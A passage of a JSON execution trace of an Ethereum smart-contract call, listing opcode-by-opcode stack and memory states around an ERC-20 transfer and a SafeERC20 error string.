000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2919,"op":"DUP9","gas":29350,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2920,"op":"DUP7","gas":29347,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2921,"op":"PUSH2","gas":29344,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2924,"op":"JUMP","gas":29341,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32","0x1ff8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8184,"op":"JUMPDEST","gas":29333,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8185,"op":"PUSH1","gas":29332,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8187,"op":"DUP3","gas":29329,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8188,"op":"DUP3","gas":29326,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8189,"op":"LT","gas":29323,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32","0x0","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8190,"op":"ISZERO","gas":29320,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8191,"op":"PUSH2","gas":29317,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8194,"op":"JUMPI","gas":29314,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32","0x0","0x1","0x200a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8202,"op":"JUMPDEST","gas":29304,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8203,"op":"POP","gas":29303,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8204,"op":"SUB","gas":29301,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8205,"op":"SWAP1","gas":29298,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb6d","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8206,"op":"JUMP","gas":29295,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x2bda54fce7dbfc916a32","0xb6d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2925,"op":"JUMPDEST","gas":29287,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2926,"op":"PUSH2","gas":29286,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2929,"op":"SWAP1","gas":29283,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x2bda54fce7dbfc916a32","0xb77"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2930,"op":"DUP5","gas":29280,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2931,"op":"PUSH2","gas":29277,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2934,"op":"JUMP","gas":29274,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32","0x1ff8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8184,"op":"JUMPDEST","gas":29266,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8185,"op":"PUSH1","gas":29265,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8187,"op":"DUP3","gas":29262,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb77","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b0000